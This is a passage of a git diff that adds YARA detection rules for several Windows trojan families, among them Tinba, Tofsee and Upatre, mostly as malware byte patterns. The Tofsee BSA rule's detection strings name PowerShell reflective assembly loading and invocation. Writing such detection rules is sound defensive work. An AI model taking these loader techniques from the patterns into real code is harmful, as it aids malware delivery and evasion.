"Trojan:Win32/Tepfer.SGGL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {57 33 c9 89 5d f8 8b c6 8b 7e 10 47 83 7e 14 10 72 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/TeslaCrypt/Trojan_Win32_TeslaCrypt_ARA_MTB.yar b/Trojan/Win32/TeslaCrypt/Trojan_Win32_TeslaCrypt_ARA_MTB.yar new file mode 100644 index 0000000000..05f968edda --- /dev/null +++ b/Trojan/Win32/TeslaCrypt/Trojan_Win32_TeslaCrypt_ARA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_TeslaCrypt_ARA_MTB{ + meta: + description = "Trojan:Win32/TeslaCrypt.ARA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8a 0e 84 c9 74 15 32 4d ff 8b 45 08 2a ca fe c9 88 0c 33 42 46 3b d7 72 e7 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/TimbreStealer/Trojan_Win32_TimbreStealer_BAB_MTB.yar b/Trojan/Win32/TimbreStealer/Trojan_Win32_TimbreStealer_BAB_MTB.yar new file mode 100644 index 0000000000..c5cb968f21 --- /dev/null +++ b/Trojan/Win32/TimbreStealer/Trojan_Win32_TimbreStealer_BAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_TimbreStealer_BAB_MTB{ + meta: + description = "Trojan:Win32/TimbreStealer.BAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 c0 0f b6 44 04 ?? 32 44 2b ff 88 43 ff 83 ee 01 75 30 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/TimbreStealer/Trojan_Win32_TimbreStealer_GTD_MTB.yar b/Trojan/Win32/TimbreStealer/Trojan_Win32_TimbreStealer_GTD_MTB.yar new file mode 100644 index 0000000000..4024cbcbe5 --- /dev/null +++ b/Trojan/Win32/TimbreStealer/Trojan_Win32_TimbreStealer_GTD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_TimbreStealer_GTD_MTB{ + meta: + description = "Trojan:Win32/TimbreStealer.GTD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 f8 8d 5b ?? 8b 44 24 ?? 8a 4c 3c ?? 0f b6 d1 03 c2 0f b6 c0 89 44 24 ?? 0f b6 44 04 18 88 44 3c ?? 8b 44 24 ?? 88 4c 04 ?? 0f b6 44 3c ?? 03 c2 0f b6 c0 0f b6 44 04 ?? 32 44 2b ?? 88 43 ?? 83 ee } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tinba/Trojan_Win32_Tinba_AHB_MTB.yar b/Trojan/Win32/Tinba/Trojan_Win32_Tinba_AHB_MTB.yar new file mode 100644 index 0000000000..a04e0fd284 --- /dev/null +++ b/Trojan/Win32/Tinba/Trojan_Win32_Tinba_AHB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Tinba_AHB_MTB{ + meta: + description = "Trojan:Win32/Tinba.AHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {8b 85 6c ff ff ff 8b 55 dc c1 f8 1f 8b c8 33 ca 8b 55 d8 33 c2 3b c1 0f } //3 + $a_01_1 = {89 85 38 fe ff ff 89 85 34 fe ff ff 89 85 30 fe ff ff 89 85 2c fe ff ff 89 85 28 fe ff ff 89 85 18 fe ff ff 89 85 08 fe ff ff ff 15 } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tinba/Trojan_Win32_Tinba_ATI_MTB.yar b/Trojan/Win32/Tinba/Trojan_Win32_Tinba_ATI_MTB.yar new file mode 100644 index 0000000000..2578047566 --- /dev/null +++ b/Trojan/Win32/Tinba/Trojan_Win32_Tinba_ATI_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Tinba_ATI_MTB{ + meta: + description = "Trojan:Win32/Tinba.ATI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {33 d2 f7 f1 89 45 c4 8b 55 a8 81 e2 b9 02 00 00 8b 45 c8 2b c2 89 45 c8 c7 85 a8 fe ff ff e8 c5 41 00 8b 8d a8 fe ff ff 51 68 98 0f 00 00 68 78 0a 00 00 ff 15 ?? ?? ?? ?? 8b 75 b4 03 75 c8 8b 4d d8 d3 e6 } //3 + $a_03_1 = {8b 45 c4 33 d2 f7 f6 89 45 c4 ba 71 02 00 00 2b 55 d8 8b 45 c4 33 c2 89 45 c4 68 79 01 00 00 8d 8d 98 fe ff ff 51 ff 15 ?? ?? ?? ?? 8b 55 c0 8b 4d dc d3 e2 8b 4d d8 d3 e2 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tinba/Trojan_Win32_Tinba_CCJX_MTB.yar b/Trojan/Win32/Tinba/Trojan_Win32_Tinba_CCJX_MTB.yar new file mode 100644 index 0000000000..035397ce92 --- /dev/null +++ b/Trojan/Win32/Tinba/Trojan_Win32_Tinba_CCJX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tinba_CCJX_MTB{ + meta: + description = "Trojan:Win32/Tinba.CCJX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {8b 55 ac c1 e2 ed 33 55 a4 89 55 cc c7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8b 4d b8 03 4d c8 8b 75 d8 d3 e6 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tinba/Trojan_Win32_Tinba_EDG_MTB.yar b/Trojan/Win32/Tinba/Trojan_Win32_Tinba_EDG_MTB.yar new file mode 100644 index 0000000000..fbc3881eb7 --- /dev/null +++ b/Trojan/Win32/Tinba/Trojan_Win32_Tinba_EDG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tinba_EDG_MTB{ + meta: + description = "Trojan:Win32/Tinba.EDG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_02_0 = {03 c0 2b 44 24 10 03 c1 89 44 24 24 8b 44 24 40 0f af 44 24 2c 8d 44 10 0a 89 44 24 14 a1 ?? ?? ?? ?? 3b 05 } //5 + condition: + ((#a_02_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tinba/Trojan_Win32_Tinba_KK_MTB.yar b/Trojan/Win32/Tinba/Trojan_Win32_Tinba_KK_MTB.yar new file mode 100644 index 0000000000..90ff510346 --- /dev/null +++ b/Trojan/Win32/Tinba/Trojan_Win32_Tinba_KK_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Tinba_KK_MTB{ + meta: + description = "Trojan:Win32/Tinba.KK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 00 " + + strings : + $a_01_0 = {0f be 55 88 0f af 55 e4 8a 45 a8 2a c2 88 45 a8 0f be 4d 88 8b 55 9c 8d 84 0a a3 02 00 00 8b 4d 90 2b c8 89 4d 90 8b 55 c0 0f af 55 94 8b 45 94 2b c2 89 45 94 eb b8 } //20 + $a_01_1 = {c7 45 c8 54 61 42 00 0f be 4d d0 69 c9 a1 fc ff ff 0f af 4d b8 89 4d 90 c7 45 d8 60 61 42 00 ba cd 39 f6 ff 2b 55 94 89 55 90 c7 45 a4 6c 61 42 00 8b 45 90 03 45 c0 8a 4d 88 02 c8 } //10 + condition: + ((#a_01_0 & 1)*20+(#a_01_1 & 1)*10) >=30 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tinba/Trojan_Win32_Tinba_MR_MTB.yar b/Trojan/Win32/Tinba/Trojan_Win32_Tinba_MR_MTB.yar new file mode 100644 index 0000000000..7bfbeaefdd --- /dev/null +++ b/Trojan/Win32/Tinba/Trojan_Win32_Tinba_MR_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Tinba_MR_MTB{ + meta: + description = "Trojan:Win32/Tinba.MR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 00 " + + strings : + $a_01_0 = {0f be 15 3d 61 42 00 0f af ca 0f af 0d 28 61 42 00 a0 36 61 42 00 02 c1 } //5 + $a_01_1 = {0f be 55 d0 81 c2 94 00 00 00 8a 45 8c 2a c2 88 45 8c 8b 4d 98 0f af 4d a0 } //10 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*10) >=15 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tinba/Trojan_Win32_Tinba_RLB_MTB.yar b/Trojan/Win32/Tinba/Trojan_Win32_Tinba_RLB_MTB.yar new file mode 100644 index 0000000000..c51e97b75e --- /dev/null +++ b/Trojan/Win32/Tinba/Trojan_Win32_Tinba_RLB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tinba_RLB_MTB{ + meta: + description = "Trojan:Win32/Tinba.RLB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8a 4c 24 38 32 4c 24 5b 88 4c 24 4f 8a 4c 24 4f 6a 05 56 88 4c 04 2c } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tiny/Trojan_Win32_Tiny_EN_MTB.yar b/Trojan/Win32/Tiny/Trojan_Win32_Tiny_EN_MTB.yar new file mode 100644 index 0000000000..d3d377131b --- /dev/null +++ b/Trojan/Win32/Tiny/Trojan_Win32_Tiny_EN_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tiny_EN_MTB{ + meta: + description = "Trojan:Win32/Tiny.EN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_01_0 = {c1 e2 02 8b 5d 00 8b 5b 08 8b 1b 89 d9 8b 1b 8b 45 08 c1 e0 02 01 c3 8b 1b 85 db 81 fb 01 } //3 + condition: + ((#a_01_0 & 1)*3) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_AB_MTB.yar b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_AB_MTB.yar new file mode 100644 index 0000000000..7f80cbc7ea --- /dev/null +++ b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_AB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tofsee_AB_MTB{ + meta: + description = "Trojan:Win32/Tofsee.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {83 f8 00 0f 85 b5 7c 00 00 ?? b8 7e a5 40 00 68 7e a5 40 00 8d 05 00 00 00 00 50 8d 05 00 00 10 00 50 e8 9b 7c 00 00 83 f8 00 0f } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_BAH_MTB.yar b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_BAH_MTB.yar new file mode 100644 index 0000000000..b224a89571 --- /dev/null +++ b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_BAH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tofsee_BAH_MTB{ + meta: + description = "Trojan:Win32/Tofsee.BAH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {33 c9 8a 55 ff 8a 5d fd 0a df 88 14 06 8a 55 fe 89 0d } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_BAI_MTB.yar b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_BAI_MTB.yar new file mode 100644 index 0000000000..d53e1a8dd6 --- /dev/null +++ b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_BAI_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tofsee_BAI_MTB{ + meta: + description = "Trojan:Win32/Tofsee.BAI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {8d 40 fe 8d 40 01 29 d0 89 c2 c7 01 ?? ?? ?? ?? 31 01 83 e9 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_BAJ_MTB.yar b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_BAJ_MTB.yar new file mode 100644 index 0000000000..55ffa42f1e --- /dev/null +++ b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_BAJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tofsee_BAJ_MTB{ + meta: + description = "Trojan:Win32/Tofsee.BAJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {40 29 d8 50 5b 6a 00 8f 02 01 42 00 83 c2 04 8d 49 fc } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_BAK_MTB.yar b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_BAK_MTB.yar new file mode 100644 index 0000000000..8921c3a502 --- /dev/null +++ b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_BAK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tofsee_BAK_MTB{ + meta: + description = "Trojan:Win32/Tofsee.BAK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {29 f8 29 ff 29 c7 f7 df 6a 00 8f 01 01 41 00 83 e9 fc 83 c3 fc } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_BAL_MTB.yar b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_BAL_MTB.yar new file mode 100644 index 0000000000..434c71551e --- /dev/null +++ b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_BAL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tofsee_BAL_MTB{ + meta: + description = "Trojan:Win32/Tofsee.BAL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {23 03 8d 5b 04 f7 d0 83 e8 ?? 01 f0 8d 40 ff 50 5e 89 01 8d 49 03 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_BAM_MTB.yar b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_BAM_MTB.yar new file mode 100644 index 0000000000..ec60856120 --- /dev/null +++ b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_BAM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tofsee_BAM_MTB{ + meta: + description = "Trojan:Win32/Tofsee.BAM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {ff 36 58 f8 83 d6 04 f7 d0 f8 83 d8 26 f8 83 d0 ff 29 d0 6a ff 5a 21 c2 89 01 83 c1 04 f8 83 df 04 83 ff 00 75 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_BSA_MTB.yar b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_BSA_MTB.yar new file mode 100644 index 0000000000..0e7b16d723 --- /dev/null +++ b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_BSA_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_Tofsee_BSA_MTB{ + meta: + description = "Trojan:Win32/Tofsee.BSA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff96 00 ffffff96 00 06 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {5b 00 41 00 70 00 70 00 44 00 6f 00 6d 00 61 00 69 00 6e 00 5d 00 3a 00 3a 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 44 00 6f 00 6d 00 61 00 69 00 6e 00 2e 00 47 00 65 00 74 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 69 00 65 00 73 00 } //10 [AppDomain]::CurrentDomain.GetAssemblies + $a_00_2 = {57 00 68 00 65 00 72 00 65 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 7b 00 24 00 5f 00 2e 00 } //10 Where-Object{$_. + $a_00_3 = {5b 00 52 00 65 00 66 00 6c 00 65 00 63 00 74 00 69 00 6f 00 6e 00 2e 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 5d 00 3a 00 3a 00 4c 00 6f 00 61 00 64 00 28 00 } //10 [Reflection.Assembly]::Load( + $a_00_4 = {4c 00 6f 00 63 00 61 00 6c 00 4d 00 61 00 63 00 68 00 69 00 6e 00 65 00 2e 00 4f 00 70 00 65 00 6e 00 53 00 75 00 62 00 6b 00 65 00 79 00 28 00 } //10 LocalMachine.OpenSubkey( + $a_00_5 = {2e 00 45 00 6e 00 74 00 72 00 79 00 50 00 6f 00 69 00 6e 00 74 00 2e 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 28 00 24 00 } //10 .EntryPoint.Invoke($ + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*10) >=150 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_EAJV_MTB.yar b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_EAJV_MTB.yar new file mode 100644 index 0000000000..3ceffeed44 --- /dev/null +++ b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_EAJV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tofsee_EAJV_MTB{ + meta: + description = "Trojan:Win32/Tofsee.EAJV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {8b 75 08 8a 84 37 3b 2d 0b 00 5f 88 04 31 5e 8b e5 5d } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_EAVN_MTB.yar b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_EAVN_MTB.yar new file mode 100644 index 0000000000..7dc7302051 --- /dev/null +++ b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_EAVN_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tofsee_EAVN_MTB{ + meta: + description = "Trojan:Win32/Tofsee.EAVN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {c0 e0 06 c0 e3 04 0a f8 0a de 88 45 ff 88 14 31 88 5c 31 01 88 7c 31 02 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_EAWE_MTB.yar b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_EAWE_MTB.yar new file mode 100644 index 0000000000..5c04fafc82 --- /dev/null +++ b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_EAWE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tofsee_EAWE_MTB{ + meta: + description = "Trojan:Win32/Tofsee.EAWE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_02_0 = {8a 89 26 9e 03 00 88 08 81 3d ?? ?? ?? ?? 8a 01 00 00 75 20 6a 00 } //5 + condition: + ((#a_02_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_EAZU_MTB.yar b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_EAZU_MTB.yar new file mode 100644 index 0000000000..3b1b4c3f74 --- /dev/null +++ b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_EAZU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tofsee_EAZU_MTB{ + meta: + description = "Trojan:Win32/Tofsee.EAZU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {8b b4 24 a0 02 00 00 8a 84 37 3b 2d 0b 00 5f 88 04 31 5e 81 c4 94 02 00 00 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_Z_MTB.yar b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_Z_MTB.yar new file mode 100644 index 0000000000..9632c9e5b4 --- /dev/null +++ b/Trojan/Win32/Tofsee/Trojan_Win32_Tofsee_Z_MTB.yar @@ -0,0 +1,35 @@ + +rule Trojan_Win32_Tofsee_Z_MTB{ + meta: + description = "Trojan:Win32/Tofsee.Z!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {6c 6f 61 64 65 72 5f 69 64 } //1 loader_id + $a_01_1 = {73 74 61 72 74 5f 73 72 76 } //1 start_srv + $a_01_2 = {6c 69 64 5f 66 69 6c 65 5f 75 70 64 } //1 lid_file_upd + $a_01_3 = {6c 6f 63 61 6c 63 66 67 } //1 localcfg + $a_01_4 = {49 6e 63 6f 72 72 65 63 74 20 72 65 73 70 6f 6e 73 } //1 Incorrect respons + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} +rule Trojan_Win32_Tofsee_Z_MTB_2{ + meta: + description = "Trojan:Win32/Tofsee.Z!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {55 8b ec 8b 45 08 57 8b 7d 10 b1 01 85 ff 74 1d 56 8b 75 0c 2b f0 8a 14 06 32 55 14 88 10 8a d1 02 55 18 f6 d9 00 55 14 40 4f 75 ea 5e 8b 45 08 5f 5d c3 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_Win32_Tofsee_Z_MTB_3{ + meta: + description = "Trojan:Win32/Tofsee.Z!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8b 44 24 04 53 8a 18 84 db 74 2d 8b d0 2b 54 24 0c 8b 4c 24 0c 84 db 74 12 8a 19 84 db 74 1b 38 1c 0a 75 07 41 80 3c 0a 00 75 ee 80 39 00 74 0a 40 8a 18 42 84 db 75 d9 33 c0 5b c3 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Trickler/Trojan_Win32_Trickler_ARA_MTB.yar b/Trojan/Win32/Trickler/Trojan_Win32_Trickler_ARA_MTB.yar new file mode 100644 index 0000000000..5bc415cc77 --- /dev/null +++ b/Trojan/Win32/Trickler/Trojan_Win32_Trickler_ARA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Trickler_ARA_MTB{ + meta: + description = "Trojan:Win32/Trickler.ARA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8a 8a 4c 95 42 00 8a c1 24 80 d0 e1 3a c3 74 03 80 c9 01 8a 82 4d 95 42 00 32 c1 8a c8 80 e1 01 d0 e8 3a cb 74 02 0c 80 88 82 4c 95 42 00 42 83 fa 03 7c cc } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Upatre/Trojan_Win32_Upatre_AHB_MTB.yar b/Trojan/Win32/Upatre/Trojan_Win32_Upatre_AHB_MTB.yar new file mode 100644 index 0000000000..443bd1b280 --- /dev/null +++ b/Trojan/Win32/Upatre/Trojan_Win32_Upatre_AHB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Upatre_AHB_MTB{ + meta: + description = "Trojan:Win32/Upatre.AHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 00 " + + strings : + $a_03_0 = {8a 07 8a 26 02 25 ?? ?? ?? 00 32 c4 eb ?? 00 00 00 88 07 3b f2 74 ?? 46 47 49 75 } //10 + $a_01_1 = {23 ff 6a 07 09 52 6d 30 7a 05 50 00 b4 bc 63 7c 00 00 04 1c 00 72 0a d4 00 00 41 2c 0e 3c 02 00 23 44 44 } //5 + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*5) >=15 + +} \ No newline at end of file diff --git a/Trojan/Win32/Upatre/Trojan_Win32_Upatre_AHC_MTB.yar b/Trojan/Win32/Upatre/Trojan_Win32_Upatre_AHC_MTB.yar new file mode 100644 index 0000000000..3a6b7049e7 --- /dev/null +++ b/Trojan/Win32/Upatre/Trojan_Win32_Upatre_AHC_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Upatre_AHC_MTB{ + meta: + description = "Trojan:Win32/Upatre.AHC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 03 00 00 " + + strings : + $a_01_0 = {89 9d 64 ff ff ff 89 9d 54 ff ff ff 89 9d 44 ff ff ff 89 9d 34 ff ff ff 89 9d 30 ff ff ff c7 45 9c 4c 00 00 00 ff d7 } //10 + $a_01_1 = {8b 4d e4 c7 01 01 23 45 67 8b 55 e4 c7 42 04 89 ab cd ef 8b 45 e4 c7 40 08 fe dc ba 98 8b 4d e4 c7 41 0c 76 54 32 10 8b 55 e4 52 ff 15 } //5 + $a_81_2 = {53 6f 6d 65 20 65 76 69 6c 20 74 68 69 6e 67 73 20 68 61 70 70 65 6e 65 64 } //3 Some evil things happened + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*5+(#a_81_2 & 1)*3) >=18 + +} \ No newline at end of file diff --git a/Trojan/Win32/Upatre/Trojan_Win32_Upatre_AUP_MTB.yar b/Trojan/Win32/Upatre/Trojan_Win32_Upatre_AUP_MTB.yar index 346e482d28..0243cae526 100644 --- a/Trojan/Win32/Upatre/Trojan_Win32_Upatre_AUP_MTB.yar +++ b/Trojan/Win32/Upatre/Trojan_Win32_Upatre_AUP_MTB.yar @@ -3,6 +3,16 @@ rule Trojan_Win32_Upatre_AUP_MTB{ meta: description = "Trojan:Win32/Upatre.AUP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + strings : + $a_01_0 = {51 8a 06 46 8a 0f 32 c1 88 07 47 59 4b 74 07 49 75 ee 5b 5b 5f c3 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_Win32_Upatre_AUP_MTB_2{ + meta: + description = "Trojan:Win32/Upatre.AUP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + strings : $a_03_0 = {20 45 20 20 00 6a 6a 30 40 68 68 ?? ?? ?? ?? ec 56 57 8b 7d 0c 33 c0 8b c8 8b 75 08 8a 0e 8a 07 3b c1 75 } //1 condition: diff --git a/Trojan/Win32/Upatre/Trojan_Win32_Upatre_BAA_MTB.yar b/Trojan/Win32/Upatre/Trojan_Win32_Upatre_BAA_MTB.yar index 07a289ada0..a34ba29f99 100644 --- a/Trojan/Win32/Upatre/Trojan_Win32_Upatre_BAA_MTB.yar +++ b/Trojan/Win32/Upatre/Trojan_Win32_Upatre_BAA_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_Win32_Upatre_BAA_MTB{ + meta: + description = "Trojan:Win32/Upatre.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {33 db 8a 06 c6 04 1f ff 20 04 1f 46 47 49 eb eb } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} +rule Trojan_Win32_Upatre_BAA_MTB_2{ meta: description = "Trojan:Win32/Upatre.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " diff --git a/Trojan/Win32/Upatre/Trojan_Win32_Upatre_MR_MTB.yar b/Trojan/Win32/Upatre/Trojan_Win32_Upatre_MR_MTB.yar new file mode 100644 index 0000000000..447e268b20 --- /dev/null +++ b/Trojan/Win32/Upatre/Trojan_Win32_Upatre_MR_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Upatre_MR_MTB{ + meta: + description = "Trojan:Win32/Upatre.MR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,20 00 20 00 04 00 00 " + + strings : + $a_03_0 = {8b 44 24 10 8b 14 ?? ?? 30 40 00 29 c0 57 59 40 c1 e9 02 3b c8 76 } //20 